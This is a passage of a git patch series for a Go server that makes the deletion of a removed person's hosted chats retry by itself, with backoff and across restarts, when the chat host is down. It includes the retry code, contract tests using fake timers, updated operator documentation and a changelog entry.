person string, since time.Time) bool { + return hostedRegistration(row) && factory.NormalizeHandle(row.Owner.ID) == person && !row.CreatedAt.After(since) +} + +// deleteRemovedChat deletes one chat on the host and forgets its registry row +// once the host confirms (or says it has no such chat). It answers whether the +// chat is gone and whether the host answered at all. +func (h *Handler) deleteRemovedChat(ctx context.Context, id, person string, since time.Time) (confirmed, reachable bool) { + hs := h.config.Hosted.state + hs.registry.Lock() + defer hs.registry.Unlock() + st := h.config.Store + if st != nil { + // A chat can be registered between the snapshot and this delete. + row, found, err := st.Resource(store.SessionKind, id) + if err != nil { + return false, true + } + if found && !removedHostedChat(row, person, since) { + return true, true + } + } + status, _, _, err := hs.call(ctx, http.MethodDelete, "/v1/sessions/"+id, person, nil) + hs.models.forget(id, person) + if err != nil { + return false, false + } + if status/100 != 2 && status != http.StatusNotFound { + return false, true + } + hs.noteAsker(id, "") + return st == nil || st.DeleteResource(store.SessionKind, id) == nil, true } // closeRemovedChats shuts every chat the registry still holds for a removed @@ -106,9 +184,8 @@ func (h *Handler) endHostedLifeOf(ctx context.Context, handle string) { // is no such chat." to everyone, the owner included (whose sign-ins are gone). // Without this a guest holding steer, run or full on a chat the host could not // delete would wake it, and waking a chat mints a fresh model bearer for its -// owner, which is the access the removal just ended. The row stays, so the -// chat is still tracked: removing the person again, once the host answers, -// deletes it for good. +// owner, which is the access the removal just ended. The row stays so the +// server can finish the removal when the chats' host answers again. func (h *Handler) closeRemovedChats(person string) { st := h.config.Store if st == nil { @@ -144,7 +221,7 @@ func (h *Handler) closeRemovedChats(person string) { } } if left > 0 { - log.Printf("hosted chats: %d chats of a removed person are still on the chats' host and are closed to everyone; removing the person again once the host answers deletes them", left) + log.Printf("hosted chats: %d chats of a removed person are still on the chats' host and are closed to everyone; the server deletes them when the host answers again", left) } } @@ -159,8 +236,8 @@ func hostedChatIDs(body []byte) []string { } var ids []string for _, row := range list.Sessions { - if hostedIDForm.MatchString(strings.TrimSpace(row.ID)) { - ids = append(ids, row.ID) + if id := strings.TrimSpace(row.ID); hostedIDForm.MatchString(id) { + ids = append(ids, id) } } return ids diff --git a/internal/factory/serve/hosted_removal_retry.go b/internal/factory/serve/hosted_removal_retry.go new file mode 100644 index 0000000000..80964b614c --- /dev/null +++ b/internal/factory/serve/hosted_removal_retry.go @@ -0,0 +1,179 @@ +package serve + +import ( + "context" + "log" + "maps" + "slices" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/guard" +) + +const ( + // The first wait gives a briefly unavailable host time to return. + hostedRemovalFirstWait = 5 * time.Second + // The ceiling lets us notice a returned host within five minutes and limits + // a down host to one failed delete per person every five minutes. + hostedRemovalMaxWait = 5 * time.Minute +) + +// hostedRemovalRetry finishes what a removal left undone. Removing a person +// writes a durable mark first (store.MarkHostedRemoval), so a host that is down +// at that moment, or a server that restarts before the host returns, does not +// lose the deletion: the mark is read again at start and after every wait, and +// it is cleared only when the host has confirmed the person's chats gone. +// There is at most one wait pending for all removed people. +type hostedRemovalRetry struct { + mu sync.Mutex + stop func() bool + cancel context.CancelFunc + generation uint64 + closed bool + failed int + passes sync.WaitGroup +} + +// startHostedRemovals resumes after a restart: a mark left by an earlier +// process means a removal is still owed, and the first try comes soon, because +// the chats' host usually starts alongside this server. +func (h *Handler) startHostedRemovals() { + if st := h.config.Store; st != nil { + if marks, err := st.HostedRemovals(); err == nil && len(marks) > 0 { + h.scheduleHostedRemovals() + } + } +} + +// scheduleHostedRemovals starts the first wait. It does nothing while a wait is +// pending or a pass is running, because either one reads every mark when it +// ends, including the one that asked. +func (h *Handler) scheduleHostedRemovals() { + r := &h.config.Hosted.state.removals + r.mu.Lock() + defer r.mu.Unlock() + if r.closed || r.stop != nil || r.cancel != nil { + return + } + h.armHostedRemovalsLocked(r, hostedRemovalFirstWait) +} + +func (h *Handler) armHostedRemovalsLocked(r *hostedRemovalRetry, wait time.Duration) { + r.generation++ + generation := r.generation + run := func() { + defer guard.Recover("hosted removal retry") + h.runHostedRemovals(r, generation, wait) + } + if after := h.config.Hosted.removalAfter; after != nil { + r.stop = after(wait, run) + } else { + r.stop = time.AfterFunc(wait, run).Stop + } +} + +// runHostedRemovals is one pass over every removal still owed. It holds no lock +// while it talks to the host, so Close can cancel it, and it clears a mark only +// when the host confirmed that person's chats gone. +func (h *Handler) runHostedRemovals(r *hostedRemovalRetry, generation uint64, wait time.Duration) { + r.mu.Lock() + if r.closed || generation != r.generation || r.stop == nil { + r.mu.Unlock() + return + } + ctx, cancel := context.WithCancel(context.Background()) + r.stop = nil + r.cancel = cancel + r.passes.Add(1) + r.mu.Unlock() + defer r.passes.Done() + finished := 0 + defer func() { + cancel() + h.finishHostedRemovals(r, wait, finished) + }() + + st := h.config.Store + marks, err := st.HostedRemovals() + if err != nil { + return + } + for _, person := range slices.Sorted(maps.Keys(marks)) { + if ctx.Err() != nil { + return + } + mark := marks[person] + if h.cleanRemoved(ctx, person, mark.Since) && st.ClearHostedRemoval(person, mark.Since) == nil { + finished++ + } + } +} + +// finishHostedRemovals ends a pass: nothing is scheduled when no mark is left, +// and otherwise the next wait is twice as long, up to the ceiling, so a host +// that is down for a day costs a few hundred cheap calls and a handful of log +// lines, and one that returns is noticed within minutes. +func (h *Handler) finishHostedRemovals(r *hostedRemovalRetry, wait time.Duration, finished int) { + r.mu.Lock() + defer r.mu.Unlock() + r.cancel = nil + if r.closed { + return + } + // Check while holding the same lock as scheduling so a removal marked + // during this pass either appears here or can schedule its own retry. + remaining, err := h.config.Store.HostedRemovals() + logf := h.config.Hosted.removalLogf + if logf == nil { + logf = log.Printf + } + if err == nil && len(remaining) == 0 { + r.failed = 0 + if finished > 0 { + logf("hosted chats: finished removing the chats of %d removed people", finished) + } + return + } + r.failed++ + // Double the previous wait so the backoff never shifts past the ceiling. + h.armHostedRemovalsLocked(r, min(wait*2, hostedRemovalMaxWait)) + if hostedRemovalLogDue(r.failed) { + if err != nil { + logf("hosted chats: could not read which removed people's chats still need to be removed; will retry") + } else { + logf("hosted chats: %d removed people are still waiting on the chats' host; will retry", len(remaining)) + } + } +} + +// hostedRemovalLogDue is true for the 1st failed pass and every power of ten +// after it, so the log grows with the logarithm of the outage, not its length. +func hostedRemovalLogDue(failed int) bool { + for failed > 1 && failed%10 == 0 { + failed /= 10 + } + return failed == 1 +} + +// closeHostedRemovals ends the wait and the pass in flight, and returns only +// when no pass is still touching the store or the host. +func (h *Handler) closeHostedRemovals() { + cfg := h.config.Hosted + if cfg == nil || cfg.state == nil { + return + } + r := &cfg.state.removals + r.mu.Lock() + r.closed = true + r.generation++ + if r.stop != nil { + r.stop() + r.stop = nil + } + if r.cancel != nil { + r.cancel() + } + r.mu.Unlock() + r.passes.Wait() +} diff --git a/internal/factory/serve/hosted_removal_retry_test.go b/internal/factory/serve/hosted_removal_retry_test.go new file mode 100644 index 0000000000..7538c105ae --- /dev/null +++ b/internal/factory/serve/hosted_removal_retry_test.go @@ -0,0 +1,424 @@ +package serve + +import ( + "context" + "fmt" + "net/http" + "net/http/httptest" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/coder/websocket" +) + +// VALIDATION CONTRACT for finishing a removal the chats' host could not finish, +// written before the code it checks (overnight fixes, fix 1): +// +// 1. A person removed while the chats' host is unreachable has every chat of +// theirs deleted on that host once it answers again, with no second removal +// by anyone. +// 2. That still holds when the organization server restarts between the removal +// and the host's return. +// 3. Until the cleanup finishes, nothing of the removed person can be woken or +// given a model bearer: their chats' model door answers 401 and a guest +// can neither read nor attach. +// 4. A removal with the host up behaves as it always did: the chats are deleted +// at once and nothing is left pending, no timer included. +// 5. The retry does not spin: each pass makes a bounded number of host calls +// however many chats there are, the wait between passes grows to a ceiling, +// the log carries a bounded number of lines, and nothing is scheduled once +// the work is done. +// 7. (Added by the design) The retry only deletes what existed when the person +// was removed: a chat made later under the same handle, by a person who +// joined again, is left alone. +// +// Item numbers follow the PR body; item 6 is the plain-HTTP warning, proved in +// cmd/codeaf. + +// flakyHost fronts the fake chats' host with a switch, so a test can take the +// host away and give it back at the same address. A down host drops the +// connection, which is what a stopped container does to a caller. +type flakyHost struct { + down atomic.Bool + calls atomic.Int64 + srv *httptest.Server +} + +func newFlakyHost(t *testing.T, inner http.Handler) *flakyHost { + t.Helper() + f := &flakyHost{} + f.srv = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + f.calls.Add(1) + if f.down.Load() { + panic(http.ErrAbortHandler) + } + inner.ServeHTTP(w, r) + })) + t.Cleanup(f.srv.Close) + return f +} + +// fakeTimers stands in for the clock the retry waits on: a test sees every wait +// the server asked for and decides when each one ends, so nothing sleeps. +type fakeTimers struct { + mu sync.Mutex + waits []time.Duration + pending []*fakeTimer +} + +type fakeTimer struct { + run func() + stopped bool + fired bool +} + +func (f *fakeTimers) after(d time.Duration, run func()) func() bool { + f.mu.Lock() + defer f.mu.Unlock() + timer := &fakeTimer{run: run} + f.waits = append(f.waits, d) + f.pending = append(f.pending, timer) + return func() bool { + f.mu.Lock() + defer f.mu.Unlock() + was := !timer.stopped && !timer.fired + timer.stopped = true + return was + } +} + +// armed is how many waits are running right now. +func (f *fakeTimers) armed() int { + f.mu.Lock() + defer f.mu.Unlock() + n := 0 + for _, timer := range f.pending { + if !timer.stopped && !timer.fired { + n++ + } + } + return n +} + +func (f *fakeTimers) asked() []time.Duration { + f.mu.Lock() + defer f.mu.Unlock() + return append([]time.Duration(nil), f.waits...) +} + +// fire ends the oldest running wait and runs what it was waiting to do, to the +// end, in the caller's goroutine. +func (f *fakeTimers) fire(t *testing.T) { + t.Helper() + f.mu.Lock() + var next *fakeTimer + for _, timer := range f.pending { + if !timer.stopped && !timer.fired { + next = timer + break + } + } + if next != nil { + next.fired = true + } + f.mu.Unlock() + if next == nil { + t.Fatal("no wait is running, so there is nothing to end") + } + next.run() +} + +type logLines struct { + mu sync.Mutex + lines []string +} + +func (l *logLines) printf(format string, args ...any) { + l.mu.Lock() + defer l.mu.Unlock() + l.lines = append(l.lines, fmt.Sprintf(format, args...)) +} + +func (l *logLines) count() int { + l.mu.Lock() + defer l.mu.Unlock() + return len(l.lines) +} + +func (l *logLines) all() []string { + l.mu.Lock() + defer l.mu.Unlock() + return append([]string(nil), l.lines...) +} + +// removalRig is the hosted scene with a chats' host that can go away, and with +// the retry's waits and log lines in the test's hands. +type removalRig struct { + *hostedRig + front *flakyHost + timers *fakeTimers + logs *logLines +} + +func newRemovalRig(t *testing.T) *removalRig { + t.Helper() + rg := newHostedRig(t) + r := &removalRig{hostedRig: rg, front: newFlakyHost(t, rg.host), timers: &fakeTimers{}, logs: &logLines{}} + r.restart(t) + return r +} + +// restart is the organization server stopping and starting again over the same +// store, pointed at the same host. +func (r *removalRig) restart(t *testing.T) { + t.Helper() + r.configure(t, func(c *HostedConfig) { + c.URL = r.front.srv.URL + c.removalAfter = r.timers.after + c.removalLogf = r.logs.printf + }) +} + +func (r *removalRig) remove(t *testing.T, who string) { + t.Helper() + if w := r.send("owner", http.MethodDelete, "/v1/people/"+who+"/sessions", nil, nil); w.Code != http.StatusOK { + t.Fatalf("removing %s = %d %s", who, w.Code, w.Body) + } +} + +// pendingRemovals is how many removed people the server still owes a cleanup. +func (r *removalRig) pendingRemovals(t *testing.T) int { + t.Helper() + rows, err := r.st.HostedRemovals() + if err != nil { + t.Fatalf("reading the removals still owed: %v", err) + } + return len(rows) +} + +// assertClosed is contract item 3: nothing of the removed person's chats can be +// woken or given a model bearer. guest was let into guestChat before the removal. +func (r *removalRig) assertClosed(t *testing.T, tokens map[string]string, guest, guestChat string) { + t.Helper() + for name, token := range tokens { + if code := r.model(token); code != http.StatusUnauthorized { + t.Errorf("while the cleanup is pending, %s's model call = %d, want 401", name, code) + } + } + if w := r.send(guest, http.MethodGet, hostedSessionsPath+"/"+guestChat, nil, nil); w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Errorf("while the cleanup is pending, the guest's read = %d %s, want 404 %q", w.Code, w.Body, hostNoSuchChat) + } + srv := httptest.NewServer(r.h) + defer srv.Close() + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + conn, res, _ := websocket.Dial(ctx, wireURL(srv, guestChat), &websocket.DialOptions{ + HTTPHeader: http.Header{"Authorization": {"Bearer " + r.tokens[guest]}}, + }) + if conn != nil { + _ = conn.CloseNow() + } + if res == nil || res.StatusCode != http.StatusNotFound { + t.Errorf("while the cleanup is pending, the guest's attach did not answer 404: %v", res) + } +} + +func (r *removalRig) assertGone(t *testing.T, ids ...string) { + t.Helper() + for _, id := range ids { + if owner := r.host.ownerOf(id); owner != "" { + t.Errorf("chat %s is still on the chats' host, owned by %q", id, owner) + } + if _, found, err := r.st.Resource(store.SessionKind, id); err != nil || found { + t.Errorf("chat %s is still in the registry (found=%v, err=%v)", id, found, err) + } + } +} + +func (r *removalRig) assertKept(t *testing.T, owner string, ids ...string) { + t.Helper() + for _, id := range ids { + if got := r.host.ownerOf(id); got != owner { + t.Errorf("chat %s is owned by %q on the chats' host, want %q", id, got, owner) + } + if _, found, err := r.st.Resource(store.SessionKind, id); err != nil || !found { + t.Errorf("chat %s left the registry (found=%v, err=%v)", id, found, err) + } + } +} + +// removedWhileHostIsDown builds the scene every pending-cleanup test starts +// from: mia has two chats (santosh was let into the first), santosh has one of +// his own, mia's model bearers work, and then the host goes away and mia is +// removed. The removal itself succeeds. +func removedWhileHostIsDown(t *testing.T) (r *removalRig, miaChats []string, miaTokens map[string]string, kept string) { + t.Helper() + r = newRemovalRig(t) + first, second := r.create(t, "mia"), r.create(t, "mia") + hostedGrant(t, r.hostedRig, "mia", first, "santosh", "edit") + kept = r.create(t, "santosh") + miaTokens = map[string]string{"first": r.host.tokenOf(first), "second": r.host.tokenOf(second)} + for name, token := range miaTokens { + if code := r.model(token); code != http.StatusOK { + t.Fatalf("before the removal, %s's model call = %d", name, code) + } + } + r.front.down.Store(true) + r.remove(t, "mia") + return r, []string{first, second}, miaTokens, kept +} + +// Contract 1 and 3: the host comes back and the next retry finishes the removal. +func TestARemovalTheHostCouldNotFinishIsFinishedWhenItReturns(t *testing.T) { + r, chats, tokens, kept := removedWhileHostIsDown(t) + if r.pendingRemovals(t) != 1 || r.timers.armed() != 1 { + t.Fatalf("after a removal the host could not finish, pending = %d, retries waiting = %d, want 1 and 1", r.pendingRemovals(t), r.timers.armed()) + } + r.assertClosed(t, tokens, "santosh", chats[0]) + + // Still down: the retry runs, fails, and waits again; nothing is lost and nothing is opened. + r.timers.fire(t) + if r.pendingRemovals(t) != 1 || r.timers.armed() != 1 { + t.Fatalf("after a retry that found the host still down, pending = %d, retries waiting = %d, want 1 and 1", r.pendingRemovals(t), r.timers.armed()) + } + r.assertKept(t, "mia", chats...) + r.assertClosed(t, tokens, "santosh", chats[0]) + + r.front.down.Store(false) + r.timers.fire(t) + r.assertGone(t, chats...) + r.assertKept(t, "santosh", kept) + if r.pendingRemovals(t) != 0 || r.timers.armed() != 0 { + t.Errorf("once the host confirmed, pending = %d, retries waiting = %d, want 0 and 0", r.pendingRemovals(t), r.timers.armed()) + } + for name, token := range tokens { + if code := r.model(token); code != http.StatusUnauthorized { + t.Errorf("after the cleanup, %s's model call = %d, want 401", name, code) + } + } +} + +// Contract 2 and 3: the same, with the organization server restarting while the host is away. +func TestARemovalTheHostCouldNotFinishSurvivesARestart(t *testing.T) { + r, chats, tokens, kept := removedWhileHostIsDown(t) + + r.restart(t) + if r.pendingRemovals(t) != 1 { + t.Fatalf("after a restart, pending = %d, want the removal still owed", r.pendingRemovals(t)) + } + if r.timers.armed() != 1 { + t.Fatalf("after a restart, retries waiting = %d, want the server to schedule the cleanup itself", r.timers.armed()) + } + r.assertKept(t, "mia", chats...) + r.assertClosed(t, tokens, "santosh", chats[0]) + + r.front.down.Store(false) + r.timers.fire(t) + r.assertGone(t, chats...) + r.assertKept(t, "santosh", kept) + if r.pendingRemovals(t) != 0 || r.timers.armed() != 0 { + t.Errorf("after the restarted server finished, pending = %d, retries waiting = %d, want 0 and 0", r.pendingRemovals(t), r.timers.armed()) + } +} + +// Contract 4: with the host up nothing changes from what a removal always did. +func TestARemovalWithTheHostUpLeavesNothingPending(t *testing.T) { + r := newRemovalRig(t) + first, second := r.create(t, "mia"), r.create(t, "mia") + kept := r.create(t, "santosh") + r.remove(t, "mia") + r.assertGone(t, first, second) + r.assertKept(t, "santosh", kept) + if r.pendingRemovals(t) != 0 { + t.Errorf("pending = %d after a removal the host finished, want 0", r.pendingRemovals(t)) + } + if r.timers.armed() != 0 || len(r.timers.asked()) != 0 { + t.Errorf("a removal the host finished scheduled a retry: waits asked = %v", r.timers.asked()) + } +} + +// Contract 5: the retry backs off, makes few calls, logs little, and stops. +func TestTheRemovalRetryBacksOffLogsLittleAndStopsWhenDone(t *testing.T) { + r := newRemovalRig(t) + var chats []string + for range 3 { + chats = append(chats, r.create(t, "mia")) + } + r.front.down.Store(true) + r.remove(t, "mia") + + const passes = 12 + for pass := range passes { + before := r.front.calls.Load() + r.timers.fire(t) + if used := r.front.calls.Load() - before; used > 4 { + t.Fatalf("pass %d made %d calls to a host that is down; a pass must give up at the first failure, not try each of %d chats", pass, used, len(chats)) + } + if r.timers.armed() != 1 { + t.Fatalf("after failed pass %d, retries waiting = %d, want exactly 1", pass, r.timers.armed()) + } + } + waits := r.timers.asked() + if len(waits) != passes+1 { + t.Fatalf("waits asked for = %d, want %d (one after the removal, one after each failed pass): %v", len(waits), passes+1, waits) + } + if waits[0] < time.Second { + t.Errorf("the first wait is %v; it must not be a spin", waits[0]) + } + for i := 1; i < len(waits); i++ { + if waits[i] < waits[i-1] { + t.Errorf("wait %d (%v) is shorter than the one before (%v); a retry backs off, it does not speed up", i, waits[i], waits[i-1]) + } + if waits[i] > 10*time.Minute { + t.Errorf("wait %d is %v; the ceiling must stay within ten minutes so a returned host is noticed", i, waits[i]) + } + } + if waits[len(waits)-1] <= waits[0] { + t.Errorf("the waits never grew: %v", waits) + } + if n := r.logs.count(); n > 5 { + t.Errorf("%d log lines for %d failed passes, want a handful: %q", n, passes, r.logs.all()) + } + + r.front.down.Store(false) + r.timers.fire(t) + r.assertGone(t, chats...) + if r.timers.armed() != 0 || r.pendingRemovals(t) != 0 { + t.Errorf("after the work is done, retries waiting = %d and pending = %d, want 0 and 0", r.timers.armed(), r.pendingRemovals(t)) + } + if n := len(r.timers.asked()); n != len(waits) { + t.Errorf("a wait was asked for after the work was done (%d waits, was %d)", n, len(waits)) + } + if n := r.logs.count(); n > 6 { + t.Errorf("%d log lines in all, want a handful: %q", n, r.logs.all()) + } +} + +// Contract 7: a chat of the same handle made after the removal is not the removal's to delete. +func TestThePendingCleanupLeavesAChatMadeAfterTheRemoval(t *testing.T) { + r, chats, _, _ := removedWhileHostIsDown(t) + + // The person joins again and starts a chat while the old cleanup is still owed. + row, found, err := r.st.Resource(store.SessionKind, chats[0]) + if err != nil || !found { + t.Fatalf("the old chat is not in the registry: found=%v, err=%v", found, err) + } + fresh := "hs_0123456789abcdef01234567" + row.ID, row.CreatedAt, row.Visibility = fresh, time.Now().Add(time.Hour).UTC(), acl.Private + if err := r.st.PutResource(row); err != nil { + t.Fatal(err) + } + r.host.adopt(fresh, "mia") + + r.front.down.Store(false) + r.timers.fire(t) + r.assertGone(t, chats...) + r.assertKept(t, "mia", fresh) + if r.pendingRemovals(t) != 0 { + t.Errorf("pending = %d once the old chats were deleted, want 0", r.pendingRemovals(t)) + } +} diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index c826561117..80bf37848b 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -485,6 +485,7 @@ func (h *Handler) Close() { if h != nil { h.closeHostedGuests() h.closeHostedModels() + h.closeHostedRemovals() h.closeGrantSweep() h.closeOrders() h.closeAgents() From 6658813dc302fbd25fbaaf7c8af3830445b6b02a Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 03:44:12 -0500 Subject: [PATCH 155/176] docs: removal while the chat machine is down finishes by itself; the limit no longer says to repeat it The operator README, docs/organizations.md and the manual's hosted-chats page said removal never retries and the operator repeats it once the machine answers. The server now keeps the deletion owed and retries, so they say that, with the waits, the restart behaviour and the one thing it leaves alone. Co-Authored-By: Claude Opus 5.5 --- deploy/org/README.md | 13 +++++++++---- docs/organizations.md | 5 +++-- .../manual/chat/organization-hosted-sessions.md | 2 +- 3 files changed, 13 insertions(+), 7 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 52bf45d015..0081055de0 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -292,8 +292,12 @@ because it has to become a different Linux user for every chat. It is built from - **Removing a person.** The server first ends the person's chats' model and git access, so any chat still running can no longer spend the organization's key or reach git as that person. It clears their stored keys and GitHub access and deletes their chats on the machine that runs them. If that machine does not answer, removal still succeeds. The server ends the - shares of each chat it could not delete and makes it private, so every route answers `There is no such chat.` Those chats - stay on the machine until the operator repeats the removal once the machine answers. Removal never retries on its own. + shares of each chat it could not delete and makes it private, so every route answers `There is no such chat.` It keeps + the deletion owed in its store (`hosted-removals.json`, beside the saved model access) and retries by itself: the first + try five seconds after the removal, then twice as long each time up to five minutes, also after the server restarts, + until the machine confirms every delete. The log says so when it starts waiting (again after the 10th, 100th ... failed + try) and once when it finishes. It deletes only the chats the person had when they were removed, so a chat made later by + someone who joined again under the same handle is left alone. The operator does not repeat the removal. - **Limits.** `CODEAF_SESSIONHOST_MAX_RUNNING` chats at once (default 20) and `CODEAF_SESSIONHOST_MAX_PER_PERSON` per person (default 3). A chat counts while it has a process; a person at their limit can still make a chat but cannot start another and reads "You already have N chats running; stop one first." @@ -817,8 +821,9 @@ kernel, and the public name serves over HTTPS. None of them makes a model call o volume and a disk alert to limit the impact to that service. - **Removing someone while the chat machine is down.** Removal succeeds, ends the person's chats' model and git access immediately and clears stored keys and GitHub access. The chats the machine could not delete are closed to everyone. - Their Linux users and folders stay on the machine. Check that the chats are gone and repeat the removal once the machine - answers if any remain. Removal never retries on its own. + Their Linux users and folders stay on the machine until it answers, and the server then deletes them by itself (it + retries with a longer wait each time up to five minutes, and keeps the removal owed across a restart). Check the server's + log for the line that says it finished. - **The container runtime supplies the seccomp profile.** The sessionhost relies on the runtime's default profile to block user namespaces and calls such as `mount` and `chroot`. It sets no filter of its own for those calls. It sets no-new-privileges, drops every capability from the chat's processes and uses a separate Linux user for each chat. diff --git a/docs/organizations.md b/docs/organizations.md index bec9d16376..8d22b1a95b 100644 --- a/docs/organizations.md +++ b/docs/organizations.md @@ -327,8 +327,9 @@ It answers with an `access_token` the same way. - A hosted chat has no total disk or memory quota and can fill the sessions volume or the machine's memory. The operator can bound the whole `sessionhost` service. - Removing someone while the chat machine is down still ends the person's model and git access, clears their stored keys and - GitHub access and closes their chats to everyone. The chats stay on the machine. Check that the chats are gone and repeat - the removal once the machine answers if any remain. Removal never retries on its own. + GitHub access and closes their chats to everyone. The chats stay on the machine until it answers. The server keeps the + deletion owed in its store and retries by itself, with a longer wait each time up to five minutes, also after a restart, + and stops once the machine confirms. The operator does not repeat the removal. - The sessionhost relies on the container runtime's default seccomp profile to block user namespaces and calls such as `mount` and `chroot`. Use Docker's default profile or one with equivalent restrictions. - `local_sessions: refuse` is enforced on the server side only. No client acts on it yet. diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index ab2c2f4912..c9f2cfdfa6 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -130,7 +130,7 @@ The operator should block `169.254.0.0/16` and, on AWS, `fd00:ec2::254` at the h A hosted chat has no total disk or memory quota. Its Linux user is limited to 512 processes, and commands are limited to 4096 open files and 10 GiB per file, with no core dumps. A 200 MB write and a 256 MB allocation both succeeded in testing. One chat can fill the sessions volume or the machine's memory and slow or stop others. `CODEAF_SESSIONHOST_MAX_RUNNING` and `CODEAF_SESSIONHOST_MAX_PER_PERSON` default to 20 and 3. Bound the `sessionhost` service with memory, process and CPU limits, a fixed-size volume and a disk alert. -Removing someone immediately ends their chats' model and git access and clears their stored keys and GitHub access. If the chat machine does not answer, removal still succeeds. The server ends the remaining chats' shares and makes them private so every route answers `There is no such chat.` Their Linux users and folders stay on the machine. Check that the chats are gone and repeat the removal once the machine answers if any remain. Removal never retries on its own. +Removing someone immediately ends their chats' model and git access and clears their stored keys and GitHub access. If the chat machine does not answer, removal still succeeds. The server ends the remaining chats' shares and makes them private so every route answers `There is no such chat.` Their Linux users and folders stay on the machine for now, and the server finishes the deletion by itself: it keeps a record that the removal is still owed, tries again with a longer wait each time (up to five minutes) until the machine confirms, and picks the work up again if the server restarts. Until then nobody can wake those chats or give them model access. A chat the same handle starts after being removed and added again is not touched. The operator does not need to remove the person a second time. The sessionhost relies on the container runtime's default seccomp profile to block user namespaces and calls such as `mount` and `chroot`. It sets no-new-privileges and drops every capability from chat processes. Never use `seccomp=unconfined` or a profile looser than Docker's default. Check that your platform applies equivalent restrictions. With a looser profile, testing showed user namespaces and user ID maps allowed, which exposes more of the kernel to chat commands. Landlock and the chat's Linux user still apply inside those namespaces by design. That was untested. From 13beb82e7ddd3036665108776b2b4bcfa4597897 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 04:34:39 -0500 Subject: [PATCH 156/176] change entry 2916: host-down removal retried by the server; no plain-HTTP warning behind a proxy Co-Authored-By: Claude Opus 5.5 --- docs/changes/unreleased/2916-overnight-fixes.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 docs/changes/unreleased/2916-overnight-fixes.md diff --git a/docs/changes/unreleased/2916-overnight-fixes.md b/docs/changes/unreleased/2916-overnight-fixes.md new file mode 100644 index 0000000000..38cbd02a7c --- /dev/null +++ b/docs/changes/unreleased/2916-overnight-fixes.md @@ -0,0 +1,12 @@ +--- +kind: fixed +title: A removal the chats' host could not finish is retried; no plain-HTTP warning behind a proxy +pr: 2916 +surface: [factory, docs] +invalidates: + - "Removing a person while the chats' host was down was believed to be finished by removing them a second time, and the operator README, docs/organizations.md and the manual said removal never retries on its own, so their chats' Linux users and folders stayed on the machine until then. Now the removal writes a durable mark first, and the server retries the deletes by itself, starting five seconds later and waiting twice as long each time up to five minutes, across a restart, until the host confirms every one. The operator does not repeat the removal, and a chat made later by someone who joined again under the same handle is not deleted." + - "Removing a person was believed to leave the closed chats for the operator to remove again, so the server logged that removing the person again once the host answers deletes them. The server now deletes them itself, and its log says so when it starts waiting, again after the tenth failed try and every power of ten after, and once when it finishes." + - "Every start of `codeaf factory serve` on a non-loopback address printed the plain-HTTP warning, and the operator README called it expected behind an HTTPS proxy. It is now quiet when trusted_proxies lists the proxy, and prints exactly as before when none is listed." +--- + +Found by the test round on the hosted organization line: the host-down removal was its open call 1, and the Compose walk found the warning reading as a failure behind a proxy. From ad19055ffaf1ba224c39ddc9cc2ed5c9793ca1c6 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 08:29:31 -0500 Subject: [PATCH 157/176] test(provider): routing beat tests wait for their beat to end before the bubble closes TestSilentRouterCanRecoverOnTheNextRoutingCompletion failed three CI runs in a row on org/main with "deadlock: main bubble goroutine has exited but blocked goroutines remain": the beat was asleep in the lane store's lock backoff when the test returned, after losing the file lock to the completion the test had just made. synctest.Wait counts that sleep as idle. Every routing beat test now starts the beat through startRoutingBeat, whose end cancels the beat and waits for it to return. Co-Authored-By: Claude Opus 5.5 --- internal/provider/routingbeat_test.go | 64 ++++++++++++++++++--------- 1 file changed, 43 insertions(+), 21 deletions(-) diff --git a/internal/provider/routingbeat_test.go b/internal/provider/routingbeat_test.go index 3543c27968..3995a95347 100644 --- a/internal/provider/routingbeat_test.go +++ b/internal/provider/routingbeat_test.go @@ -50,9 +50,8 @@ func TestBareProviderRoutingWakesTheBeat(t *testing.T) { client := routingBeatClient(t, strategy, false) sheet := &routingBeatSheet{} lanes.Default().SetSheet(sheet) - ctx, stop := context.WithCancel(context.Background()) - defer stop() - go lanes.Beat(ctx, sheet, []string{"routing/model"}, 0) + ctx, end := startRoutingBeat(sheet) + defer end() synctest.Wait() time.Sleep(30 * time.Minute) blocked := make(chan struct{}) @@ -88,9 +87,8 @@ func TestColdProbeSelectionAloneWakesTheBeat(t *testing.T) { client := routingBeatClient(t, RoutingLatency, false) sheet := &routingBeatSheet{} lanes.Default().SetSheet(sheet) - ctx, stop := context.WithCancel(context.Background()) - defer stop() - go lanes.Beat(ctx, sheet, []string{"routing/model"}, 0) + ctx, end := startRoutingBeat(sheet) + defer end() synctest.Wait() time.Sleep(30 * time.Minute) client.ProbeLanes(ctx, "routing/model") @@ -139,9 +137,8 @@ func TestProbeRoutingDoesNotWaitForRefreshOrSend(t *testing.T) { <-ctx.Done() return 0, ctx.Err() }})) - ctx, stop := context.WithCancel(context.Background()) - defer stop() - go lanes.Beat(ctx, sheet, []string{"routing/model"}, 0) + ctx, end := startRoutingBeat(sheet) + defer end() synctest.Wait() time.Sleep(30 * time.Minute) blocked := make(chan struct{}) @@ -182,9 +179,8 @@ func TestProviderRoutingGatesLeaveTheBeatIdle(t *testing.T) { client := routingBeatClient(t, strategy, direct) sheet := &routingBeatSheet{} lanes.Default().SetSheet(sheet) - ctx, stop := context.WithCancel(context.Background()) - defer stop() - go lanes.Beat(ctx, sheet, []string{"routing/model"}, 0) + ctx, end := startRoutingBeat(sheet) + defer end() synctest.Wait() time.Sleep(30 * time.Minute) if _, err := client.CompleteWithMessages(ctx, userMessages("read this")); err != 